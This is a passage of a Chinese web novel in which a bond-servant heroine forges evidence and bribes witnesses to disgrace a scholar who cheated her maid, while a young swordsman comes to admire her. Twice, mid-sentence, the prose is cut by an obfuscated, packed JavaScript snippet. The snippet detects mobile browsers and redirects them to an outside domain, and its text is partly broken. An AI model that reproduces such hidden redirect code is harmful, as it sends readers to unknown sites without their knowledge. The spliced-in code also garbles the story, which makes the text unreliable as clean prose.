沈美娘边斟茶,边将刚才的两人的谈话讲给宋江江。 她无奈笑道:“小孩子说错一两句话,这般紧张做什么,我又不会放心上。我是那么小气的人吗?” 宋江江听完沈美娘的话,被她的话打动,试探问:“沈娘子……是因家中长辈获罪,才没入贱籍的吗?” 听到这话,沈美娘原本饮茶的动作停下。 她放下茶盏,就看到了宋江江眼里的担忧和……明晃晃的心疼。 原来这小剑客喜欢听悲惨故事啊。 “对啊。宋少侠你不知道,我爹爹本是个清正廉明的刺史,我娘其实是荥阳郑氏的女儿。”沈美娘声泪涕下道。 她看宋江江听得入神,继续瞎编:“奈何,十岁时有小人诬陷我爹爹有谋反之心,害我全家成年男子尽数被斩,女子不是没为官奴,就是以死明志……” 沈美娘说着说着,就看到宋江江他居然红、了、眼、眶?! 不是,虽然她也爱听传奇故事,但最多想想自己是黄粱一梦的书生,可从来没像宋江江这样真情实感掉过眼泪! “你别哭了。”沈美娘生平第一次编瞎话编出了罪恶感,“我就随口一编。” 她就随口一编,宋江江怎么就真信啊,还看起来一副要哭了的样子…… 没出息! “假的?”宋江江有些没反应过来。 沈美娘如今也歇了勾引宋江江的心,毫无负担地翘起二郎腿,掰着手指和宋江江盘算:“我家祖祖辈辈都是朝田地、山泽要饭吃的,往上数八代也是打赤脚的贱/人。” “那你怎么知道荥阳郑氏和刺史的?”宋江江不死心追问。 沈美娘一个白字先生,从哪里听得这些的? 她扇了扇风,懒洋洋道:“本人只是不识字没上过学,但传奇故事还是爱听的,像什么《袅袅传》《郑家女》①的故事我听得可多了。至于刺史……” “我见过最大的官就是刺史,那排场、那气度,实在是叫人难忘。”沈美娘满眼期待。 她看到宋江江欲言又止,似乎还是不相信她的话。 沈美娘忍不住继续逗他:“就算是真的又怎么样?难不成小剑客,你能还替我做主伸冤不成?” “我……”宋江江正欲开口,就被屋外传来的女声打断。 宝儿欢欢喜喜地跑了进来:“美娘,你看今年的山石榴开得真好看!” “不过,你不是最喜欢牡丹吗?怎么今日不戴我给你买的绢花。”宝儿不解。 沈美娘虽然什么花都爱,但最喜欢的还是牡丹。如今入了夏,买不着开得好的牡丹,她上次才给沈美娘特地买了牡丹花型的绢花。 沈美娘接过宝儿端着的花,拉着她坐到铜镜前坐下:“今日的主角可不是我,我戴几朵山石榴就好,可不能抢你风头。” “我不成的!美娘,你去和江瑞说就是了,我、我肯定不行的……”宝儿连忙摆手拒绝。 沈美娘却已经拿起绢花在宝儿鬓边比着:“那可不成,这事又不是我和那姓江的之间的。” “宝儿,你不要怕,”沈美娘半蹲下看向宝儿,“出身卑贱不可怕,可要是自己都看不起自己,那才是真的下贱。” 她温柔地拍了拍宝儿的手:“等会儿见江瑞,你只管把心里的委屈全都说出来,就算出了事,不是还有我吗?” “好吗?宝儿。” 宝儿愣了一会儿,才轻轻点了点头。 沈美娘起身替宝儿解开头发,想起还有个宋江江在里头,调侃道:“宋少侠还不走?难道也想我帮你打扮打扮不成?” 宋江江却深深看了她一眼,只道:“我去看看马车来了没。” 他觉得沈美娘这人很奇怪,既温柔又冷漠,偶尔让人觉得亲切,更多时候却像是被一团迷雾罩着。 让人越想看清她,就离真正的她越远。 沈美娘不知道宋江江对她的种种好奇,她只是拿着梳子替宝儿盘发:“你还小,我就不给你用假髻盘头了。” 宝儿:“为什么啊?” “傻丫头,很重的,戴久了会不舒服的。”沈美娘用桂花油替宝儿打理头发。 “那你怎么还戴啊?” 宝儿想,是不是那些臭男人逼沈美娘这样打扮的。 沈美娘的动作一滞,旋即继续道:“我喜欢,我就喜欢华服、高髻、美食。” “我现在还是贱奴一个,等我以后做了大官夫人,我还要把头发再垫高一点,把我的发髻再梳大一点!我要让所有人看到我的第一眼,就知道我不是好惹的。”沈美娘道。 宝儿沉默,但她这次没有像往日般挖苦。 等沈美娘开始给她化妆时,她才小声而认真盯着沈美娘的眼道:“美娘,你一定可以的!” 别人她不知道,但沈美娘肯定可以的,这世上就没有她做不到的事。 沈美娘听了这话心情颇为愉悦,大方地把她最贵的几支发簪都簪到宝儿头上去了:“喏,这是给宝儿的奖励!” 等梳好头发,沈美娘又在她的衣柜里拿出一件衣裳:“你和我身量不大一样,这是我前几日托赵娘子替你赶制的,你试试。” 宝儿犹犹豫豫:“这个粉色会不会很挑人,我穿不好看吧。” “不会的!你还不相信我的眼光吗?粉粉的裙子,配上青绿的披帛,咱们宝儿就是花仙子本仙啦!”沈美娘直接去解宝儿的腰带,“快一些啦,不然青词他们该等急了!” 宝儿将信将疑听沈美娘的话换上了新衣裳。 “好啦,我再给你插一朵绢花就完全好啦!”沈美娘拿起一朵牡丹样式的绢花别在宝儿头上。 她拿起铜镜给宝儿看:“你看!好看吧!” 宝儿盯着铜镜里的自己。 沈美娘能画出逼真的伤口,同样也能把她画得都不像自己了。 镜子里的姑娘眉眼含情,樱桃小口,看起来就像三月含苞待放的春桃般清丽,和平常灰扑扑的她全然不同。 “美娘,你也太会化妆了吧。”宝儿忍不住称赞。 “没有哦!”沈美娘摇头,“我只是在你本来的脸上扬长避短了,这本来就是你该有的模样。” 宝儿又忍不住抱着铜镜看了许久,才放下铜镜:“美娘,我们去吧!” 沈美娘点头。 青词、赵娘子等人看到宝儿时,也都不由愣神,然后连连称赞。 宝儿害羞又欣喜地回应。 沈美娘看到宋江江也称赞了一句,故意调侃他:“现在有没有后悔啊?该让我给小剑客你也打扮打扮的?” 看到马车,宝儿又惊又喜:“美娘!我还没坐过马车呢!” 她以前就很羡慕那些府上小姐的贴身丫鬟,能有机会跟着小姐们坐马车,没想到她今日也能坐。 可她又有些不解:“你不是一向为了省钱,进城都是坐驴车吗?” 怎么今日沈美娘会这般大方? 沈美娘今日忙前忙后,此刻不免有些困了,慵懒道:“今日是去争口气、下人面子的,当然不能叫人看轻了。” “美娘你真好!我最喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924225|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢你了!”宝儿连忙欢喜道。 “啧——”沈美娘点了点宝儿的额头,“无奈”道,“那你可得努努力了,最喜欢我的人少说也得有十几二十个。” “美娘!你又逗我!” 马车上的几人,也都不由笑出声。 但是马车却没有在州学门口停下,反而是绕了一圈在郊外的池畔停下。 沈美娘给宝儿解释:“我让人打听清楚了,今日许多文人雅士在此聚集,说是要办什么诗会。” 宝儿这些日子忙着脱籍,她也没闲着,早就在找整那个江瑞的最佳时机。 “这次诗会没什么高官,大都是些还没功名的举子和些不得志的文人。这些人别的不多,怜悯人是第一等。你等会儿在宴会上,把遭遇说出来就是了。”沈美娘再次勉励宝儿。 那些文人自会帮着骂江瑞这种“忘恩负义”的小人。 沈美娘也跟着宝儿他们下了马车,远处的叶随看到她的身影,立刻就迎了上来。 他看到沈美娘负剑的宋江江时,面色一沉:“美娘,他是……” “是青词来投奔的远房亲戚,我瞧他功夫还算不错,就将他留下做了护院。”沈美娘解释。 叶随听到这话还是有些不放心,又盯着宋江江那张脸上下打量了一番。 直到沈美娘主动道:“奴让人代写给叶公子的信,您可看了?” “看了看了……那江瑞当真该死,你放心,我不会坐视不理的。”叶随道。 他原本还以为是沈美娘有什么事,却没想到是为了个小丫鬟。 这种闲事他本不愿插手,但想到能博得沈美娘的感激,那顺手帮帮也没什么。 “那便多谢公子了。”沈美娘道。 叶随拉着沈美娘的手不住摩挲:“上次都怪我去晚了,还差点害你被阿娘责罚,都怪我……” 确实怪你。 不然她也不用早起画伤口了。 沈美娘心下嘲讽,面上却颇为感动的样子:“公子不必自责,奴知道公子对美娘的这颗真心。” 两人双手紧握,仿佛一对被世俗拆散的有情人般。 “公子还是快些进去吧,不然叫旁人看到了,有损您的清誉。”沈美娘垂下眼睑。 叶随看她这般柔弱无骨、小意温柔,心里更想着自己一定要早日说动父亲,让他答应自己纳沈美娘为妾。 “好……”叶随念念不舍松开了手。 除了沈美娘和宋江江外,其余几人都跟着叶随和他的随从进去了。 沈美娘不舍地望向叶随离开的方向,却在他的背影消失的刹那,立刻冷下脸来。 她从袖中掏出手怕,用力擦着刚才被叶随触碰过的地方。 “你看什么?”沈美娘擦完,才发现宋江江一直在看她。 宋江江没直接回答,而是道:“我还以为,他是你的情郎。” 情郎?就叶随那样,下辈子她都不可能看得上。 “那现在呢?知道他是我仇人呢?还是觉得我会变脸?”沈美娘轻笑。 反正这小剑客也没什么特殊身份,被他知道自己的本性也没什么。 “没有。”宋江江板着脸,“你们还没成婚,他就这样在大庭广众之下和你举止亲密……” 时下就算民风开放,这样的举止还是会惹人非议。 更别说,沈美娘是叶家的奴婢,叶家主母舍不得收拾儿子,但肯定不会放过污了自己儿子名声的沈美娘。 宋江江停了下来,像是在思考该怎么评价刚才叶随的行为。 半晌,他一字一句道:“他根本就不尊重你。” “我如果是你,我会直接打他一顿,叫他长点教训。”宋江江道。 沈美娘听到宋江江的话愣住,然后不由笑出声。 巧了嘛这不是,她还真叫人打过叶随。 这个小剑客倒是难得有和她心思相通的时候。 “小剑客。”沈美娘突然喊了一声宋江江。 宋江江闻言偏过头看她。 她踮起脚,凑近到宋江江眼前:“怎么办呢?我现在——好像是真的有点看上你了。” 12. 第12章 宋江江听到沈美娘故意撩拨他的话,原本应该和上次一样和她保持距离才对。 但他发现自己做不到,他能清楚地感知到自己的心,因为沈美娘的一句话就加速跳动。 宋江江从来没想过男女之事,但他不是分不清喜欢和讨厌。 他很清楚自己现在是喜欢沈美娘的——至少是有一点喜欢的。 那他就不能像上次那般毫不犹豫地说什么“我不能早恋这种话”了。 “我……” 宋江江还没斟酌好言辞,就听到沈美娘“噗嗤”一声笑开。 “瞧我,都忘了,咱们宋少侠还没满十八,”沈美娘故意揶揄他,“还~不~能~早~恋~” 宋江江自知理亏,正想和沈美娘道歉,却被她又抢了先:“小剑客,你就不要和我说些‘对不起’的客套话了,我懒得听。” “时辰快到了,咱们也得进去瞧瞧才是。”沈美娘往那宴会的庭中去。 宋江江:“那你刚才怎么不跟着叶随他们去?” 他思索片刻,又道:“你不想被叶随缠着?” “对了一半。”沈美娘被日头热得用折扇给自己扇风,等凉快些了才道,“宝儿也不小了,该学着独当一面了。这次的事也是让她长见识的。” 沈美娘还不清楚叶司马究竟打算把她献给哪位贵人,但可以肯定那里不会比司马府简单。 宝儿可不能一直这么好骗没本事。 但她也还是怕宝儿万一说不过那姓江的书生,就让赵大郎给她找了一个州学学生买了个位置。 宋江江这种江湖剑客,应该从来没参加过什么诗会,更不可能知道这每个位置都是事先定好了的。 他应当不会猜到自己手里有能用的人。 但叶随再废物,也参加过不少诗会,叫他察觉不对,发现自己和赵家兄妹的关系就不好了。 沈美娘带着宋江江进了庭中,她望着从未见过的诗会场景,不论是江上的接天碧莲,还是文人对诗时,那些她听不懂但很好听的诗句。 她不由为文人的风雅咋舌,沉浸在诗会的氛围里,也就没注意到宋江江狐疑的眼神。 宋江江望着沈美娘帏帽下的侧脸,思考她是怎么买通门口的守卫,又是怎么弄到这诗会位置的——这可不是一个依附司马府的奴婢能办到的事。 “想什么呢?”沈美娘在靠后的位置坐下。 宋江江在沈美娘身旁站定,摇头道:“没什么。” 或许是叶随帮沈美娘解决的吧,也可能是别的贵公子。 那么多人都喜欢沈美娘,愿意为她鞍前马后的人肯定很多。 宋江江垂下眼睑。 她刚才说“看上”他的话,肯定只是逗他玩玩的吧。 沈美娘戴了帏帽,那些学子看不见她的脸,看她的穿着打扮只当她是哪位通诗赋的名妓。 时风重文学,尤重诗赋,还有人主动和沈美娘搭话问她是谁的。 沈美娘对诗赋一窍不通,不过她瞧了眼身边的宋江江,想起之前两人的闲聊。 她勾唇一笑:“家师李白,今日不得闲,我便代他来参加这次诗会了。” 李白? 那些学子仔细回想。 没听说过,想来是哪个不知名的小诗人。 那些原本好奇沈美娘才学的学子,便都不再关注她。 宋江江小声问沈美娘:“你当真是李白先生的学生?” 他就知道沈美娘很有可能是母亲家乡的人,听到这话更是心中狂喜。 “你不是和我念过他的诗吗?我听过了,自然也算他的学生咯。”沈美娘胡扯,“都说‘一日为师,终身为父’,我听了那李白一句诗,怎么也算我几个月师父了吧?” 宋江江被沈美娘强词夺理的话说得哑口无言。 在诡辩这件事上,别说他,整个天下恐怕都没几人是沈美娘的对手。 沈美娘趁机把桌上的点心、果子都用提前准备好的包袱装好。 好歹也是花钱了,不能白来。 不过她边装吃的,边注意最前面的动静。 宝儿怎么还不出来?她该不会是看人这么多不敢出来了吧? 等她终于看到宝儿被叶随的人带出来,打断了诗会正在进行的对诗,她才松了口气。 还好宝儿这丫头不算窝囊到没救。 爱看热闹这种事是不分高低贵贱的,沈美娘身旁的学子们也都各个竖起耳朵,听宝儿控诉江瑞是如何骗他钱财、欺瞒世人的。 沈美娘早已知道前因后果,自然不敢兴趣。 她看左右听得入迷,在询问对方得到同意后,把他们桌上的东西也全都扫进自己的包袱。 如果不是怕动静太大被叶随发现,她甚至想再清理几桌。 沈美娘丝毫不在意别人的眼神,邻桌看着自己只剩一盏茶的桌子愣住。 “多谢这位公子。”沈美娘在他开口前急忙感谢。 只要她感谢得够快,就没人可以指责她。 果然,那人欲言又止,颇为可怜地看了眼沈美娘。 也不知道她那个师父怎么连顿饭都不让自己弟子吃饱,来了诗会净干这种事,实在是有辱斯文。 沈美娘不在意旁人目光,把手里的包裹交给宋江江:“拿好,咱们今明两天都不愁吃了。” 她说完这话,将目光重新落在前面争吵的几人身上。 江瑞听完宝儿的控诉的话,并不慌张,只叫她拿出证据来。 可宝儿哪有什么证据,她就是个十三四的小姑娘,没那么多防人的心思——尤其是防备心上人。 只见她被江瑞逼问说不出话,宋江江忍不住和沈美娘道:“这宝儿姑娘是不是说不过了,你要不要帮……” “不急。”沈美娘胸有成竹道。 她颇为淡定的继续用清茶,就着有点过于甜腻的点心。 下一刻,青词就将几份借据和书信拿了出来:“这是江瑞你和宝儿往来的书信,你可是自己说了要娶宝儿的。” 江瑞不信,抢过信件一看,但那信件上确实是自己的笔迹。 而那借据除了自己的笔记,还真盖着自己的手印。 最关键的是……青词喊了好几个证人出来,其中就有他之前曾与之谈论过宝儿不堪为妻的那人。 还有好几人绘声绘色,描述自己曾看到江瑞曾和宝儿同游的场景,还有他曾写下字据的场景。 江瑞连连摇头,颤抖着声音指着那些人:“你们这是污蔑!” 他怕被人知道自己和一个贱婢有拉扯,素来都是躲着熟人与宝儿见面的。 “你个贱\妇,你竟然栽赃陷害我!”江瑞第一次尝到了被人诬陷,却无从辩解的滋味。 可是在场的人看到这些证据还有什么怀疑的? 那些信里,可连江瑞平日里为避父母讳用的习惯都一模一样。 江瑞的老师忍不住叹气:“为师原以为你虽学识不够,品性却佳……为师当真是看错你了。” “不是!我没有!”江瑞摇头。 他是拿了宝儿的钱,也确实看不起她没少和同窗们贬低她。 可是这些证据到底是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14924226|160423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么来的! “走吧。”沈美娘看到江瑞崩溃的样子满意起身。 这边的事应该很快就能解决了,他们得先出去等着了。 沈美娘狠狠教训了一顿江瑞,替宝儿出了口恶气,脚步颇为轻快。 见四下无人,她摘下了挡着她目光的帏帽,把它抛来抛去玩。 宋江江却用一种陌生的眼神盯着她。 沈美娘也很快发现了宋江江的不对劲儿。 “想什么呢?怎么不说话?”沈美娘问。 这小剑客平日里不是跟个小炮仗一样,噼里啪啦缠着她问家乡事不停的嘛。 宋江江听到沈美娘主动问了,就将心里的话和她说了:“那些所谓的证据,是你伪造的吧?” “对!我厉害吧?那些证据全南州城都没人能看出问题来。”沈美娘像是完成了一件了不起的作品般自豪。 “可是……”宋江江尽量让自己的话不那么尖锐,“这样不对。” 他话音刚落,就看到沈美娘停下脚步,站在原地不动。 宋江江以为沈美娘这是生气,却没想到沈美娘转过头看他:“宋少侠,那你倒是说说,什么才是对的?” 沈美娘看起来似乎没有生气,她只是在笑,笑得比平日里还要温柔许多。 宋江江得到准许,继续道:“他是不对,可是你不该造假证据,这样是不合乎道义的。就算这样结果是好的,却也不算公正。” “说完了吗?”沈美娘仍就温柔笑着,“还有要说的吗?不着急,可以慢慢想。” 到这里,宋江江才意识到沈美娘虽然笑着,但她不高兴。 甚至可以说是非常生气。 宋江江急忙开口:“沈娘子,你不要……” 沈美娘噙着笑打断宋江江:“那就是说完了,对吧?” 几乎就在片刻,宋江江看到沈美娘收敛了总是挂在脸上的笑意。 她道:“你说的并不准确。不光证据是我假造的,那几个证人里面都有人是我花大价钱买通的。” 沈美娘将宋江江一把推到树下,抵着他:“什么公正,什么道义,那是呼奴唤婢、高高在上、没吃过苦头的贵族才需要的东西。我不需要,宝儿更不需要。” 她的手落在宋江江腰畔的长剑:“你真以为我那夜和你说,要你去剁了江瑞是逗你开心的?” “我没让你那么去做,是我不想蹲大狱,不想惹麻烦,而你……”沈美娘挑起宋江江的下巴,“还不是一条完全忠心于我的狗。” 宋江江一直都知道沈美娘并不像她表面那般无害。 当她将自己的真面目,暴露在他面前,他才发现沈美娘从始至终都不是温柔的。 但他居然……一点都不讨厌这样的沈美娘。 沈美娘不知道宋江江在想什么,把他的出神当成被吓到了。 这个小剑客还真是不识人间疾苦。 “你以为你口中所谓的道义就好?江瑞是良籍,是举子,是读书人,就算我们慢慢查,找到了证据也无非是让他赔钱。”沈美娘道,“这才不算什么道义,什么公正。” 沈美娘攥紧宋江江的衣襟将他拽到自己眼前:“我就要是让江瑞身败名裂,让他尝尝所有宝儿也受过的苦。” “以眼还眼,以牙还牙,才是天经地义!” 宋江江听到沈美娘的话,回想自己刚才的话。 沈美娘没说错。 她说的那样……或许才是公正。 在一个人被分成三六九等的世界,追求绝对的公正,本来就过于天真和可笑了。 13. 第13章 沈美娘不知道自己为何会因这个小剑客的几句话就这般生气。 她不是天真幼稚的小姑娘,平日里也很少会在别人面前露出真实的想法。 即使是之前被司马夫人那般刁难,她也没有生气。 她只默默记下那日所有人的名字,待来日出人头地,再将她受过的屈辱尽数奉还。 为什么此时她会如此生气呢? 沈美娘看向宋江江的眼里闪过一丝无措。 “你说得对,是我想的不对……”宋江江却先苦笑道,“我真是太无知了。” 他垂下头,像一根蔫掉的小草。 沈美娘不喜欢这样的宋江江。 她觉得宋江江应该是笑着的,应该是说些奇奇怪怪、不着边际的话才招人喜欢。 但沈美娘不认为自己有错。 宋江江的话,不符合她的处世之道,也不适合这个世道。 他才是错得离谱的那个。 “跟上。”沈美娘直接避开刚才两人争吵的话题。 宋江江果然很听话地跟着她。 原路返回的路上两人都没有说话,不过两人也都没继续争论。 沈美娘坐在马车沿上,瞧着不远处的宋江江。 他还是一副要死不活的样子。 这个宋江江还真是听不得别人说他不好啊。 不过……她刚才推那一下,确实也用了力,不会把他弄疼了吧? 可他一个练家子不应该? 要不哄哄这个小剑客好了。 虽然他总是缠着自己聊那个所谓的“家乡”,也有些过于正直了,但他确实没什么坏心眼。 就当她人美心善好啦! “你没事吧……” “你说的有道理。” 沈美娘正准备安慰宋江江,就听到他也开了口。 “你说什么?”沈美娘问。 宋江江:“或许我和我说的那些话都不该存在。” 什么公正、什么道义,都是妈妈在书上写来骗小孩的。 就像父皇还在时说的那样,他和母亲都一样有病。 他们才是和这个时代格格不入的人。 “不是,你怎么呢?”沈美娘问。 原来这小剑客刚才一个人不说话,不是在难过,而是还在想刚才两人的对话。 他怎么这般喜欢思考? 不是都说江湖上的剑客,喜欢打打杀杀和大口喝酒、吃肉吗? 宋江江张了张嘴,像打算给她解释,但他被人打断了。 叶随向沈美娘跑过来:“美娘,一切都解决好了……你一个人没遇到什么事吧?” 说着,叶随的目光还不由落到宋江江身上。 他总觉得这个宋江江有些奇怪。 凭着男人的直觉,叶随能感觉得到这人对沈美娘的心思绝不简单。 “没什么事,让二公子担心了。”沈美娘柔柔道。 宝儿也兴高采烈地奔向沈美娘想抱抱她,却被叶随挡住了。 他呵斥宝儿:“你一个奴婢,怎么能如此对主子呢?还有没有尊卑?” 宝儿落寞地停下动作,连连请罪。 “美娘,这些丫头要是不尊敬你,你只管管教就是了,不要太好心了。”叶随道。 他邀功般看向沈美娘。 沈美娘笑吟吟点头:“是,多谢公子替奴做主。” 宋江江看到沈美娘的笑,却发现和刚才沈美娘的神情,和与自己争吵时一模一样。 她现在也不开心。 原来沈美娘不开心的时候也都是笑着的。 叶随被沈美娘的笑容勾得心痒痒:“美娘,时辰尚早,不若咱们去酒楼叙叙旧,是那家全南州最有名的酒楼。” 别说是沈美娘,就是其余几人都明白叶随的言下之意。 “好啊。”沈美娘答应得干脆利落,又像是颇为无奈皱眉,“可是这每日都有宵禁,若是误了出城的时辰可怎么办?” 叶随正准备说可以他在城里的一处别院,就听到沈美娘又道:“况且奴记得二夫人也喜欢和闺中旧友们去酒楼、茶舍什么的,要是叫二夫人知道……” 她一副柔弱模样:“奴知道二夫人性情和婉,定不会为难奴。可要是二夫人和主母说了此事,主母怕是又要找奴的麻烦了。” 沈美娘这话把叶随最怕的两人都点出来了。 叶随的婚事是叶家花了大力气促成的,娶的是尚书大人的侄女,性子娇纵,他可开罪不起。 至于他母亲,叶随就更是又怕又敬。 “那便罢了。”叶随不舍地握着沈美娘的手,“待过几日,我再去芙蓉谷看你。” 沈美娘含情脉脉:“好,奴等着二公子。” 她又取下腰间的荷包递给叶随:“这里面装着奴去寺庙为公子求的护身符,还盼公子长安。” 叶随原本今日帮了沈美娘,却还是被她拒绝不高兴,但看到手里的荷包也不由心软。 沈美娘出身贱籍,寺庙这种地方是轻易进不去的。 一想到沈美娘为了自己,可能是磨破了嘴皮,才从方丈那里得了这护身符不由感动。 “美娘,我一定会给你个名分的。”叶随承诺。 毕竟,沈美娘是这么爱他,他总该对她负责的。 “奴不奢求这些,只要能看到公子,奴就是欢喜的……”沈美娘颇为谦卑道。 宋江江如果不是看到过沈美娘对叶随究竟有多嫌恶,都要以为这是一对“梁祝”在世。 两个被封建等级制度和良贱制度迫害的有情人,他们的不幸反映出了封建社会的黑暗——这话不是他说的,是那些札记上写的。 他其实也不是很懂,什么是“封建等级制度”,什么是“封建社会”。 但他可以肯定,应该都不是什么好东西。 宋江江没有深想,就听到一阵骚乱。 江瑞不知何时出现,将一把尖刀向沈美娘扔了过去。 叶随看到这幕,猛地愣住后退了一步,却没有拉着沈美娘一起。 “美娘!”宝儿惊呼出声。 沈美娘这才转过头,看到那把向自己而来的尖刀。 她还没来得及闪躲,就被人按倒在地,但她没有摔到地上,而是跌进一个坚实的怀抱。 “沈娘子,你没事吧?” 沈美娘听到宋江江的声音,睁开刚才下意识闭上的眼。 少年担忧的眼神就这样映入她的眼中。 这人不是口口声声说什么不能早恋吗? 这个人不能早恋还不要命,扑上来救她。 沈美娘敛下眼中的惊讶和不解,问:“你也没事吧?” 见宋江江摇头,她带着几分戏弄的语气轻笑:“那你快起来。” 宋江江这才意识到两人隔得有多近,连忙慌张起身。 叶随才从刚才的意外中反应过来,走到沈美娘身前,握住她的手:“美娘,你可还好?我叫大夫给你看看吧。” 有了刚才宋江江救她的举动在前,沈美娘越发觉得叶随这种贵公子的“深情”有多可笑。 但她还是“颇为感动”,红了眼眶:“多谢公子关心,奴无事。” 叶随也知道自己刚才没保护好沈美娘,讪讪一笑:“美娘,你放心,我不会轻易放过这个坏东西的。” 说罢,让家丁又踹了那被按住的江瑞好几脚。 “公子,还是不要太过分,奴怕旁人说您仗势欺人。”沈美娘体贴道。 叶随更是觉得沈美娘对他真是一片深情,时时刻刻为他着想。 沈美娘心下冷笑。 这下叶随一定会让这个江瑞吃番苦头的。 虽不至于闹出人命,但这个江瑞也别想讨得好,到时候她再让赵大郎把叶随仗势欺人的把柄收集好…… 沈美娘望向叶随的眼神愈加深情,心里却已经想好日后如何将他拉下马了。 叶随离开前,沈美娘还眼泪汪汪招手:“公子定要好好的……” 她追着叶随离开的马车好一会儿,还“不小心”摔倒在地,马车上的叶随看到这一幕更是心疼不已。 沈美娘真是太爱他了,像沈美娘这样的好女孩不多了。 宋江江看沈美娘摔倒在地,想上前扶她,却被青词一把抓住。 素来寡言少语的青词道:“不要耽误娘子。” 宋江江听到这话不再上前,却忍不住多看了几眼青词,又看了眼宝儿。 不同于青词的冷漠,宝儿则是一副看“恋爱脑”恨铁不成钢的表情。 宋江江突然觉得青词也不简单,她可能是为数不多知道沈美娘真面目的人。 等到叶随的马车彻底消失在视野内,沈美娘做的第一件事就是对宝儿道:“快把我的帏帽递给我!” 她刚才哭了那么久,妆容肯定全都花了,现在肯定很丑! 要是被别人看到了,可就毁了她沈美娘“大美人”的名声了! 宝儿把帏帽递给沈美娘,泪眼汪汪:“美娘,都怪我,才害得你差点被那江瑞给伤了。” “知道就好,以后别为了个男人就要死要活的。”沈美娘边整理她的帏帽边道。 那个江瑞也是清楚宝儿的性子,知道宝儿想不出今日的计策。 宝儿多半从前也和他提起过沈美娘,他自然也对沈美娘有所了解。 加之今日是叶随带宝儿去的,刚才叶随又和沈美娘在说话。 那个姓江的只要不是太蠢,肯定能想出今日的事情是 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“什么?”宋江江反问。 沈美娘:“刚才你飞奔过来救我,万一稍微慢了点,那刀说不定就扎你身上了。你这还不是爱惨了我?” “事关性命之事,便是素不相识之人,我也会救。”宋江江依旧是那副正直的模样。 沈美娘看着少年,眯了眯眼:“小剑客你真是好生侠肝义胆、一身正气。” “我哪有你说的那么厉害。”宋江江腼腆地笑了笑。 沈美娘斩钉截铁道:“小剑客你就是很厉害!你是我见过最厉害的侠客!” 这话还真不是骗宋江江,她长这么大还真就只见过宋江江一个侠客。 剩下的剑客都是在传奇本子里听到的,不算见过。 那宋江江当然是最厉害的剑客啦! 宋江江听到这话抿了抿唇,似乎不想让自己看起来太喜形于色。 沈美娘看向少年的明亮的眼睛,还是如初见般清澈,以至于沈美娘轻而易举就看出了他眼里的害羞和……喜欢。 沈美娘见过很多男人看她的眼神,惊艳、鄙夷、爱欲、痴念…… 这种情窦初开般的喜欢,像夏季初开的栀子花般纯白而稚嫩的眼神,她曾以为今生再也不会见到。 “宋江江,你想不想也要个荷包?”沈美娘道。 宋江江的眼神会让她想起一些不算好的回忆。 她不想在他的眼里看到这种眼神。 明明她之前几次都想勾引宋江江,但这次她却选择亲自掐灭宋江江的喜欢。 宋江江果然变了神情:“什么?” “那种荷包,我提前缝了十几个,就等着以后送人当信物。”沈美娘偏过头没心没肺地笑,“你如果有闲心,自己去挑也可以。” “我不要。”宋江江冷下神情。 沈美娘就知道这个小剑客会这样。 所有男人都以为自己在她心里是特别的。 但只要得知他们其实可有可无,和其他男人在她心里都差不多,就会恼羞成怒。 沈美娘嗤笑一声正欲转头,却听到宋江江又道:“缝荷包伤眼睛,你以后也少缝点。” 这还不生气啊? 沈美娘不解地看向宋江江,他目不转睛盯着前面的路。 哦,原来小剑客还是有脾气的,还是生气了。 不过——生气了,也还是会提醒她吗?虽然听着还有点醋味在里面。 “宋江江,你停一下马车。”沈美娘道。 等宋江江听她话把马车停好,她就拉着他的手把他拽下了马车。 “宝儿,你来驾车!我和宋少侠有事!”沈美娘冲马车里的人道。 宋江江还记着刚才沈美娘的话,很不情愿:“沈娘子,你要带我去哪里?” “我带你私奔!”沈美娘逗宋江江。 见宋江江错愕,脚下一个踉跄差点摔倒,沈美娘笑出声:“骗你的啦。” “这次和荷包不同,我是带你去一个,我从来没有带别人去过的地方。”沈美娘道。 听到沈美娘这句话,宋江江果然不再挣扎,乖乖跟着沈美娘。 傍晚炽热的风拂过两人的鬓边,沈美娘奔跑时才恍然想起来。 她也不过十八岁。 这个岁数会喜欢人也很正常,就是—— 她瞧了眼跟着她狂奔的宋江江。 就是这个人呆呆的,傻傻的,连去哪里都不问清楚…… 沈美娘故意逗他:“小剑客,你也不怕我把你卖了?” 宋江江看向她,眼神炽热:“不怕。” 14. 第14章 沈美娘牵着宋江江的衣袖,漫步在田埂上,已经抽穗的稻苗随风招展,时不时扫到两人的小腿上。 沈美娘放慢脚步,小心翼翼,害怕踩到秧苗。 等穿过长而细的田埂,她才回过身看向宋江江:“你以为我说卖你是说笑的?你年轻又一身力气,多的是人想买你这种去做苦力。” “沈娘子不会的。” “你怎么知道?你又觉得我善良啦?” 宋江江点头又摇头:“沈娘子很善良,而且你说过,你还不想蹲大狱,我想沈娘子肯定不会那么做的。” “哈哈哈,小剑客你真是变聪明,变得更有趣了!” 沈美娘捧腹大笑。 或许是天边仲夏的火烧云太过鲜艳,让她显得愈加生动明媚,宋江江就这样看着她,移不开半分目光。 “沈娘子,还有多久到?天若是黑了,路怕是不好走。”宋江江到。 “快了。”沈美娘又指着天边的月亮,“而且今天是十五,月亮很大,不怕!” 宋江江仰头,果然看到了圆如玉盘的月亮。 